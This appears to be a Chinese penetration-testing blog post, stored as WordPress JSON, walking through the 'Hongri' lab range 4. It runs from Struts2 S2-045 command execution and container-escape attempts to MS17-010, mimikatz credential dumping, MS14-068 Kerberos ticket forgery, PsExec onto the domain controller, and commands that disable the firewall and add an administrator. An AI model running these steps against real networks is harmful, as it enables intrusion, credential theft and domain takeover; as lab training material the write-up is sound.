{"id":1122,"date":"2024-10-17T17:56:42","date_gmt":"2024-10-17T09:56:42","guid":{"rendered":"https:\/\/www.nightying.com\/?p=1122"},"modified":"2024-10-29T14:37:36","modified_gmt":"2024-10-29T06:37:36","slug":"hongrisrc4","status":"publish","type":"post","link":"https:\/\/www.nightying.com\/index.php\/2024\/10\/17\/hongrisrc4\/","title":{"rendered":"\u7ea2\u65e5\u9776\u573a4"},"content":{"rendered":"\n

\u7531\u4e8e\u73af\u5883\u51b2\u7a81\u95ee\u9898\uff0c\u5728\u8fd9\u91cc\u963f\u5e15\u5947\u7684\u670d\u52a1\u88ab\u6211\u5173\u6389\u4e86<\/p>\n\n\n\n

\u8001\u6837\u5b50\uff0c\u5148\u4e0agoby\u626b<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u8fd9\u6709\u4e00\u4e2aphpmyadmin\u548c\u4e00\u4e2aStruts2\uff0c\u8fd9\u91cc\u7684phpmyadmin\u80fd\u76f4\u63a5\u8bbf\u95ee\u800c\u4e0d\u9700\u8981\u767b\u5f55<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

phpmyadmin\u4e00\u822c\u80fd\u8fdb\u540e\u53f0\u5c31\u53ef\u4ee5\u5199\u5165shell\uff0c\u5728\u8fd9\u91cc\u5c31\u4e0d\u6d4b\u4e86\uff0c\u770b\u770b\u8fd9\u4e2aStruts2\u6846\u67b6\u6709\u6ca1\u6709\u6f0f\u6d1e\uff0c\u627e\u4e2a\u5de5\u5177\u626b\u626b<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u5b58\u5728S2-045\u548cS2-046<\/p>\n\n\n\n

\u53ef\u4ee5\u76f4\u63a5\u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u53d1\u73b0\u8fd9\u4e2a\u662f\u4e2adocker<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u6b63\u5e38\u73af\u5883\u662f\u4e0d\u4f1a\u6709\u8fd9\u4e2a\u6587\u4ef6\u7684<\/p>\n\n\n\n

ls -alh \/.dockerenv\n\ncat \/proc\/1\/cgroup<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0a\u4e2a\u7801\u5b50\u4e4b\u540e\u8fd8\u9700\u8981docker\u9003\u9038<\/p>\n\n\n\n
\u4e0a\u4e2a\u51b0\u874e\u7801<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8fde\u63a5\u6210\u529f\uff0c\u5c1d\u8bd5docker\u9003\u9038<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8fd9\u91cc\u7528\u4e4b\u524d\u7684\u8001\u529e\u6cd5\u884c\u4e0d\u901a\uff0c\u5f97\u53bb\u770b\u4e00\u4e0bdocker\u9003\u9038\u7684\u6240\u6709\u529e\u6cd5<\/p>\n\n\n\n
\u627e\u5230\u4e00\u4e2adocker\u9003\u9038\u68c0\u6d4b\u5de5\u5177\uff0c\u8bd5\u8bd5\u770b<\/p>\n\n\n\n
https:\/\/github.com\/teamssix\/container-escape-check<\/a><\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8bd5\u8bd5CVE-2016-5195<\/p>\n\n\n\n
\u9700\u8981\u7f16\u8bd1\u4e00\u4e2a.c\u6587\u4ef6\uff0c\u4f46\u662f\u8c8c\u4f3c\u6ca1\u6709gcc\uff0c\u76ee\u524d\u662f\u901a\u7f51\u73af\u5883\uff0c\u53ef\u4ee5\u8bd5\u8bd5\u5b89\u4e2agcc\uff08\u4e0d\u901a\u7f51\u73af\u5883\u5efa\u8bae\u6362\u5176\u4ed6\u7684\uff09\uff0c\u4f46\u662f\u6211\u5c1d\u8bd5\u4e86\u4e00\u4e0b\uff0c\u6e90\u4e4b\u7c7b\u7684\u6709\u4e9b\u95ee\u9898\uff0c\u5f04\u4e0d\u4e86\uff0c\u8bd5\u8bd5\u5728\u672c\u5730\u7f16\u8bd1\u7136\u540e\u4e0a\u4f20\u4e0a\u53bb\u8fd0\u884c<\/p>\n\n\n\n
\u8fd0\u884c\u4e0d\u8d77\u6765<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8bd5\u8bd5CVE-2017-1000112<\/p>\n\n\n\n
https:\/\/github.com\/Metarget\/metarget\/blob\/master\/writeups_cnv\/kernel-cve-2017-1000112\/poc.c<\/a><\/p>\n\n\n\n
\u597d\u597d\u597d<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
CVE-2021-22555\uff0c\u4e5f\u8dd1\u4e0d\u8d77\u6765\uff08\u8fd9\u73a9\u610f\u628aweb\u5f04\u6b7b\u673a\u4e86\uff0c\u614e\u7528\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u90fd\u8bd5\u4e0d\u4e86\uff0c\u5f00\u59cb\u51c6\u5907\u5c1d\u8bd5\u5176\u4ed6\u7684\u6d1e\u4e86\uff0c\u7136\u540e\u53d1\u73b0\u4e0a\u9762\u7684\u95ee\u9898\uff0c\u6362\u4e00\u4e2a\u4f4e\u7248\u672c\u7684glibc\u7f16\u8bd1\u5c31\u597d\uff0c\u6216\u8005\u76f4\u63a5\u9759\u6001\u7f16\u8bd1<\/p>\n\n\n\n
gcc -static -o exp exp.c<\/code><\/pre>\n\n\n\n
\u597d\u597d\u597d\uff0c\u8dd1\u6b65\u4e0d\u8d77\u6765<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
make\u4f4e\u7248\u672c\u7528\u4e0d\u8d77\u6765\uff0c\u6211\u8fd8\u662f\u53bb\u5f00\u4e00\u4e2acentOS7\u865a\u62df\u673a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u597d\u597d\u597d\uff0c\u4e00\u4e2a\u90fd\u8dd1\u4e0d\u8d77\u6765\uff0c\u8fd9\u5de5\u5177\u8bef\u62a5\u7387\u8fd9\u4e48\u9ad8<\/p>\n\n\n\n
\u5224\u65ad\u4e00\u4e0b\u7279\u6743\u6a21\u5f0f\uff1a<\/p>\n\n\n\n
cat \/proc\/self\/status | grep CapEff\n\n\u4e00\u822c\u6765\u8bf4\uff0c\u5f53CapEff\u5bf9\u5e94\u7684\u63a9\u7801\u503c\u4e3a0000003fffffffff \u6216\u8005\u662f 0000001fffffffff\u7684\u65f6\u5019\uff0c\u5c31\u53ef\u4ee5\u5224\u5b9a\u5f53\u524d\u5bb9\u5668\u662f\u7279\u6743\u6a21\u5f0f\u542f\u52a8\u3002<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u65e0\u89e3\u4e86\uff0c\u57fa\u672c\u4e0a\u90fddocker\u9003\u9038\u90fd\u8bd5\u8fc7\u4e86\uff0c\u6ca1\u601d\u8def\u4e86\uff0c\u53bb\u770b\u4e86\u4e00\u4e0b\u522b\u4eba\u5199\u7684wp\uff0c\u5168\u662f\u7528\u963f\u5e15\u5947\u7684docker\u9003\u9038\u7684\uff0c\u6211\u8fd8\u662f\u91cd\u65b0\u53bb\u7ed9\u963f\u5e15\u5947\u642d\u8d77\u6765\u5427<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u8bd5\u4e86\u4e00\u4e0b\uff0c\u5b9e\u5728\u642d\u4e0d\u8d77\u6765\uff0c\u8ddf\u672c\u5730\u7684\u670d\u52a1\u5668IP\u6bb5\u51b2\u7a81\u4e86\uff0c\u90a3\u5c31\u8df3\u8fc7docker\u9003\u9038\uff0c\u76f4\u63a5\u5728\u672c\u673a\u8fd0\u884c\u4e00\u4e2a\u6f0f\u6d1eweb\u8865\u5145\u7b97\u4e86<\/p>\n\n\n\n
\u7b97\u4e86\uff0c\u642d\u592a\u9ebb\u70e6\u4e86\uff0c\u76f4\u63a5ssh\u4e0a\u53bb\u5f97\u4e86<\/p>\n\n\n\n
ubuntu\/ubuntu<\/p>\n\n\n\n
\u642d\u4e2a\u4ee3\u7406<\/p>\n\n\n\n
ligolo-ng\u5df2\u7ecf\u642d\u597d\u4e86\uff0c\u5177\u4f53\u642d\u5efa\u8fc7\u7a0b\u53ef\u4ee5\u770bligolo-ng\u4ee3\u7406\u4f7f\u7528<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0aFscan\uff0c\u626b\u5230\u6c38\u6052\u4e4b\u84dd\uff08\u6253\u9776\u573a\u968f\u4fbf\u5229\u7528\uff0c\u5b9e\u6218\u5c31\u614e\u7528\u4e86\uff09\uff0ckali\u642d\u4e2assh\u96a7\u9053\u8fde\u5230windows\u4e0a\u6765\uff0c\u5229\u7528ligolo-ng\u5185\u7f51\u7a7f\u900f\u8bbf\u95ee\u8fc7\u53bb\uff08\u8fd9\u91cc\u5176\u5b9ekali\u76f4\u63a5ssh\u96a7\u9053\u4e0a\u9776\u673a\u5c31\u884c\uff0c\u4f46\u662f\u6211\u8981\u8054\u52a8ligolo-ng\u6240\u4ee5\u591a\u4e86\u4e00\u9053\u5f2f\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u642d\u5efassh\u96a7\u9053\uff1a<\/p>\n\n\n\n
\u6d4b\u8bd5SSH\u8fde\u63a5\nssh user@<windows_ip>\n\n\u5efa\u7acb SSH \u96a7\u9053\uff08\u672c\u5730\u8f6c\u53d1\uff09<\/strong>\n\n# \u5168\u90e8\u53c2\u6570\nssh -N -L 192.168.10.36:18888:192.168.10.100:8888 root@192.168.10.100\n# \u8fdc\u7a0b IP \u6539\u6210 localhost\nssh -N -L 192.168.10.36:18888:localhost:8888 root@192.168.10.100\n# \u7701\u7565\u672c\u5730 IP\nssh -N -L 18888:localhost:8888 root@192.168.10.100\n\n\u56e0\u4e3a\u6709-N\u6240\u4ee5\u4e0d\u4f1a\u6709\u56de\u663e\n\n\n\u9a8c\u8bc1\u8fde\u63a5\ntelnet localhost 10555\n\n\u51fa\u73b0\uff1a\nTrying 127.0.0.1...\nConnected to 127.0.0.1.\nEscape character is '^]'.\n\u5219\u4ee3\u8868\u6210\u529f\n\n\u4e5f\u53ef\u4ee5\u901a\u8fc7\u547d\u4ee4\uff1a\nps aux | grep ssh\n\n\u51fa\u73b0\nroot      145755  0.0  0.1  19164  8704 pts\/1    S+   04:57   0:00 ssh -N -L 10555:localhost:17777 Administrator@172.18.124.49\n\u5219\u4ee3\u8868ssh\u96a7\u9053\u8fd8\u5728<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
(\u672c\u5730\u8f6c\u53d1\u6ca1\u5565\u7528\uff0c\u53ea\u662f\u628a\u8fdc\u7a0b\u7aef\u53e3\u6620\u5c04\u5230\u672c\u5730\uff0c\u5f53\u4f5c\u672c\u5730\u7aef\u53e3\u4f7f\u7528\uff09<\/p>\n\n\n\n
\u52a8\u6001\u8f6c\u53d1\uff1a<\/p>\n\n\n\n
\u52a8\u6001\u8f6c\u53d1\uff1a\nssh -D 1080 -N -f Administrator@<B\u4e3b\u673a_IP>\n\n\n\n-D 1080\uff1a\u5728 C \u4e3b\u673a\u4e0a\u542f\u52a8\u4e00\u4e2a\u672c\u5730 SOCKS5 \u4ee3\u7406\uff0c\u76d1\u542c\u7aef\u53e3 1080\u3002-N\uff1a\u4e0d\u542f\u52a8\u8fdc\u7a0b\u547d\u4ee4\uff0c\u53ea\u5efa\u7acb SSH \u96a7\u9053\u3002-f\uff1a\u5c06 SSH \u653e\u5165\u540e\u53f0\u8fd0\u884c\u3002Administrator@<B\u4e3b\u673a_IP>\uff1a\u767b\u5f55\u5230 Windows \u4e3b\u673a B \u7684 SSH\u3002\n\n\u914d\u7f6e\/etc\/proxychains.conf\n\nsocks5 127.0.0.1 1080\n\n\u6ca1\u5b89\u88c5\u53ef\u4ee5\u8fd9\u6837\u5b89\u88c5\uff1a\nsudo apt update && sudo apt install proxychains\n\n\u6d4b\u8bd5\uff1a\nproxychains ping 10.10.10.128<\/code><\/pre>\n\n\n\n
\u642d\u597d\u96a7\u9053\u4e0afscan\u6d4b\u6d4b\uff08fscan\u4e5f\u9700\u8981\u4f7f\u7528socks5\u624d\u80fd\u6b63\u5e38\u8bbf\u95ee\uff0c\u4f46\u662f\u7ecf\u8fc7socks5\u4e4b\u540e\uff0cfscan\u4f1a\u51fa\u73b0\u6d41\u91cf\u5f02\u5e38\u7684\u60c5\u51b5\uff0c\u4e8b\u5b9e\u4e0a\u6ca1\u6709\u5f00\u90a3\u4e48\u591a\u7aef\u53e3\uff0c\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u6211\u73af\u5883\u7684\u95ee\u9898\uff0c\u611f\u89c9socks5\u6ca1\u90a3\u4e48\u597d\u7528\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u76f4\u63a5\u4e0amsf<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u83b7\u5f97\u4f1a\u8bdd\uff0c\uff08\u6309\u7167\u4e4b\u524d\u6253\u9776\u573a\u7684\u7ecf\u9a8c\uff0c\u8fd9\u4e2a\u4f1a\u8bdd\u6267\u884c\u4e0d\u4e86shell\uff0c\u4e0d\u77e5\u9053\u662fkali\u7684proxychains\u7684\u95ee\u9898\u8fd8\u662fsocks5\u7684\u95ee\u9898\uff0c\u53cd\u6b63\u6267\u884cshell\u5c31\u4f1a\u6389\u7ebf\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6362\u4e2aexp\uff0c\u76f4\u63a5\u53bb\u65b0\u5efa\u4e00\u4e2a\u8d85\u7ba1\u7528\u6237\uff0c\u7136\u540eRDP\u4e0a\u53bb<\/p>\n\n\n\n
\u5f97\uff0c\u6267\u884c\u547d\u4ee4\u7684exp\u4e0a\u4e0d\u53bb<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u7b97\u4e86\uff0c\u9ebb\u70e6\u6b7b\u4e86\uff0c\u5927\u6982\u903b\u8f91\u5c31\u662fMS17-010\u4e0a\u53bb\u65b0\u5efa\u7528\u6237RDP\u8fde\u4e0a\u53bb<\/p>\n\n\n\n
\u91cd\u590d\u64cd\u4f5c\u5c31\u4e0d\u8bb0\u5f55\u4e86\uff0c\u73b0\u5728\u5df2\u7ecfRDP\u4e0a\u53bb\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4f20\u4e2amimikatz.exe\u6293\u4e2ahash,MS14-068 \u57df\u63d0\u6743\u6f0f\u6d1e \u4f2a\u9020\u540e\u5c31\u80fd\u767b\u5f55\uff08MS14-068\u6f0f\u6d1e\u5229\u7528\u524d\u63d0\u662f\uff1a\u77e5\u9053\u57df\u7528\u6237<\/strong>\u7684\u8d26\u53f7\u5bc6\u7801\uff0cSID<\/strong>\uff0c\u57df\u6e17\u900f\u6f0f\u6d1e\u5229\u7528\u76f8\u5173\u53ef\u4ee5\u770b\u770bAD\u57df\u6e17\u900f\u76f8\u5173\uff0c\u4ee5\u540e\u5927\u6982\u7387\u662f\u4e0d\u4f1a\u5199\u591a\u79cd\u65b9\u6cd5\u6d4b\u8bd5\u4e86\uff0c\u540e\u9762\u7684\u9776\u573a\u5927\u6982\u7387\u662f\u6240\u6709\u6f0f\u6d1e\u68c0\u6d4b\u8fc7\u4e00\u904d\uff0c\u51fa\u4ec0\u4e48\u6d1e\u7528\u4ec0\u4e48\u6d1e\uff0c\u5c31\u719f\u6089\u5229\u7528\u6d41\u7a0b\u5c31\u884c\uff0c\u5b9e\u6218\u548c\u9776\u573a\u7684\u5dee\u8ddd\u8fd8\u662f\u633a\u5927\u7684\uff09<\/p>\n\n\n\n
\u6293\u5230\u4e86DEMO\/douser    Dotest123<\/p>\n\n\n\n
MS14-068.exe\u4e0b\u8f7d\u5730\u5740<\/p>\n\n\n\n
https:\/\/github.com\/abatchy17\/WindowsExploits\/tree\/master\/MS14-068<\/a><\/p>\n\n\n\n
PsExec64.exe\u4e0b\u8f7d\u5730\u5740<\/p>\n\n\n\n
https:\/\/github.com\/crupper\/Forensics-Tool-Wiki\/blob\/master\/windowsTools\/PsExec64.exe<\/a><\/p>\n\n\n\n
\u83b7\u53d6\u8c03\u8bd5\u6743\u9650\uff08\u5fc5\u987b\u662f\u7ba1\u7406\u5458\u6743\u9650\u624d\u80fd\u6293\uff09\nprivilege::debug\n\n\u6293hash\nsekurlsa::logonpasswords\n\nS-1-5-21-979886063-1111900045-1414766810-1103<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5229\u7528ms14-068.exe\u63d0\u6743\u5de5\u5177\u751f\u6210\u4f2a\u9020\u7684kerberos\u534f\u8bae\u8ba4\u8bc1\u8bc1\u4e66<\/p>\n\n\n\n
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d 10.10.10.100<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5229\u7528mimikatz.exe\u5c06\u8bc1\u4e66\u5199\u5165\uff0c\u4ece\u800c\u63d0\u5347\u4e3a\u57df\u7ba1\u7406\u5458<\/p>\n\n\n\n
\u67e5\u770b\u5f53\u524dkerberos\u7968\u636e\u5217\u8868\nkerberos::list\n\u6e05\u9664kerberos\u7968\u636e\nkerberos::purge\n\nkerberos::ptc C:\\\u751f\u6210\u7684\u8bc1\u4e66\u7684\u4f4d\u7f6e\uff08\u4e00\u822c\u662fccache\u7ed3\u5c3e\uff09\n\nkerberos::ptc C:\\Users\\ying\\Desktop\\123\\TGT_douser@DEMO.COM.ccache<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u9a8c\u8bc1\u662f\u5426\u6210\u529f\u63d0\u6743\uff1a<\/p>\n\n\n\n
\u67e5\u770b\u57df\u673a\u5668\nnet view\n\n\u5217\u51fa\u57df\u63a7\u7684C\u76d8\u76ee\u5f55\uff0c\u5982\u679c\u6210\u529f\u8bbf\u95ee\u5219\u8bf4\u660e\u666e\u901a\u57df\u7528\u6237\u63d0\u6743\u6210\u529f\ndir \\\\\u57df\u63a7\u673a\u5668\u540d\\c$\n\ndir \\\\WIN-ENS2VR5TR3N\\c$<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4f7f\u7528PSTools\u76ee\u5f55\u4e0b\u7684PsExec.exe\u83b7\u53d6shell\uff0c#psexec.exe\u4ee5\u7ba1\u7406\u5458\u6743\u9650\u8fd0\u884c\u8fde\u63a5\u57df\u63a7<\/p>\n\n\n\n
PsExec.exe \\\\\u673a\u5668\u540d cmd.exe\n\nPsExec64.exe \\\\WIN-ENS2VR5TR3N cmd.exe<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5f00\u542fRDP\uff1a<\/p>\n\n\n\n
\u4e34\u65f6\u5173\u95ed\u9632\u706b\u5899\nnetsh advfirewall set allprofiles state off\n\n\u5f00\u542fRDP\u529f\u80fd\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" \/v fDenyTSConnections \/t REG_DWORD \/d 0 \/f\n\n\u9632\u706b\u5899\u653e\u901a3389\uff08\u8fd9\u4e2a\u6709\u53ef\u80fd\u6ca1\u7528\uff0c\u5efa\u8bae\u76f4\u63a5\u4e34\u65f6\u5173\u95ed\u9632\u706b\u5899\uff09\nnetsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes\n\n\u68c0\u67e5RDP\u670d\u52a1\u72b6\u6001\nsc query termservice\n\n\u5982\u679c\u670d\u52a1\u670d\u52a1\u6ca1\u542f\u52a8\uff0c\u53ef\u4ee5\u624b\u52a8\u542f\u52a8\uff1a\nnet start termservice\n\n\u8bbe\u7f6e\u7528\u6237\u8fd0\u884cRDP\u8bbf\u95ee\uff08\u9700\u8981\u6dfb\u52a0\u7528\u6237\u540d\uff0c\u4f46\u662f\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\uff0c\u8fd9\u91cc\u8bbe\u7f6e\u6210\u529f\u4e86\uff0c\u8fd8\u662f\u767b\u5f55\u4e0d\u8fdb\u53bb\uff09\nnet localgroup \"Remote Desktop Users\" DEMO\\douser \/add\n\n\u68c0\u67e5\u5e76\u542f\u7528\u7528\u6237\u7684\u8fdc\u7a0b\u684c\u9762\u8bbf\u95ee\u6743\u9650\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" \/v AllowMultipleTSSessions \/t REG_DWORD \/d 1 \/f\n\n\u6dfb\u52a0\u5230\u672c\u5730\u7ba1\u7406\u5458\u7ec4\uff08\u5176\u5b9e\u76f4\u63a5\u4e0a\u7801\u5b50\u5c31\u884c\uff0c\u4f46\u662f\u6211\u61d2\u5f97\u5f00\u5de5\u5177\u4e86\uff0c\u8bbe\u7f6e\u4e3a\u672c\u5730\u7ba1\u7406\u5458\u540e\uff0c\u5c31\u53ef\u4ee5RDP\u4e0a\u53bb\u4e86\uff09\nnet localgroup Administrators \"DEMO\\douser\" \/add\n<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6210\u529f\u62ff\u4e0b\u57df\u63a7\uff08\u5b9e\u6218\u5c3d\u91cf\u4e0d\u8981\u6dfb\u52a0\u7528\u6237\u4e3a\u7ba1\u7406\u5458\u4e4b\u7c7b\u7684\u64cd\u4f5c\uff0c\u52a8\u4f5c\u592a\u5927\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6e17\u900f\u7ed3\u675f<\/p>\n\n\n\n
<\/p>\n\n\n\n
Docker\u9003\u9038\u6f0f\u6d1e<\/h1>\n\n\n\n
1\u3001Docker \u81ea\u8eab\u6f0f\u6d1e<\/h3>\n\n\n\n
    \n
  • cve-2017-1002101<\/li>\n\n\n\n
  • cve-2018-1002100<\/li>\n\n\n\n
  • cve-2018-15664 \u7b26\u53f7\u94fe\u63a5\u66ff\u6362\u6f0f\u6d1e<\/li>\n\n\n\n
  • cve-2019-14271 \u52a0\u8f7d\u4e0d\u53d7\u4fe1\u4efb\u7684\u52a8\u6001\u94fe\u63a5\u5e93<\/li>\n\n\n\n
  • cve-2019-1002101<\/li>\n\n\n\n
  • cve-2019-11246<\/li>\n\n\n\n
  • cve-2019-11249<\/li>\n\n\n\n
  • cve-2019-11251<\/li>\n\n\n\n
  • cve-2019-16884<\/li>\n\n\n\n
  • cve-2019-5736 runc \u9003\u9038<\/li>\n\n\n\n
  • cve-2020-15257<\/li>\n\n\n\n
  • cve-2020-27151<\/li>\n\n\n\n
  • kata-escape-2020<\/li>\n\n\n\n
  • cve-2021-25741<\/li>\n\n\n\n
  • cve-2021-30465<\/li>\n\n\n\n
  • cve-2022-0492<\/li>\n<\/ul>\n\n\n\n
    2\u3001\u5185\u6838\u6f0f\u6d1e<\/h3>\n\n\n\n
      \n
    • cve-2016-5195 DirtyCow<\/li>\n\n\n\n
    • cve-2017-1000112<\/li>\n\n\n\n
    • cve-2020-14386<\/li>\n\n\n\n
    • cve-2021-22555<\/li>\n\n\n\n
    • cve-2022-0847 DirtyPipe<\/li>\n<\/ul>\n\n\n\n
      3\u3001\u4e0d\u5b89\u5168\u7684\u914d\u7f6e<\/h3>\n\n\n\n
        \n
      • privileged-container<\/li>\n\n\n\n
      • mount-docker-sock<\/li>\n\n\n\n
      • mount-host-etc<\/li>\n\n\n\n
      • mount-host-procfs<\/li>\n\n\n\n
      • mount-var-log<\/li>\n\n\n\n
      • cap_dac_read_search-container<\/li>\n\n\n\n
      • cap_sys_admin-container<\/li>\n<\/ul>\n\n\n\n
        <\/p>\n","protected":false},"excerpt":{"rendered":"
        \u7531\u4e8e\u73af\u5883\u51b2\u7a81\u95ee\u9898\uff0c\u5728\u8fd9\u91cc\u963f\u5e15\u5947\u7684\u670d\u52a1\u88ab\u6211\u5173\u6389\u4e86 \u8001\u6837\u5b50\uff0c\u5148\u4e0agoby\u626b \u8fd9\u6709\u4e00\u4e2aphpmyadmin\u548c\u4e00\u4e2aSt […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-1122","post","type-post","status-publish","format-standard","hentry","category-shentouceshi"],"_links":{"self":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/1122","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/comments?post=1122"}],"version-history":[{"count":64,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/1122\/revisions"}],"predecessor-version":[{"id":1294,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/1122\/revisions\/1294"}],"wp:attachment":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/media?parent=1122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/categories?post=1122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/tags?post=1122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}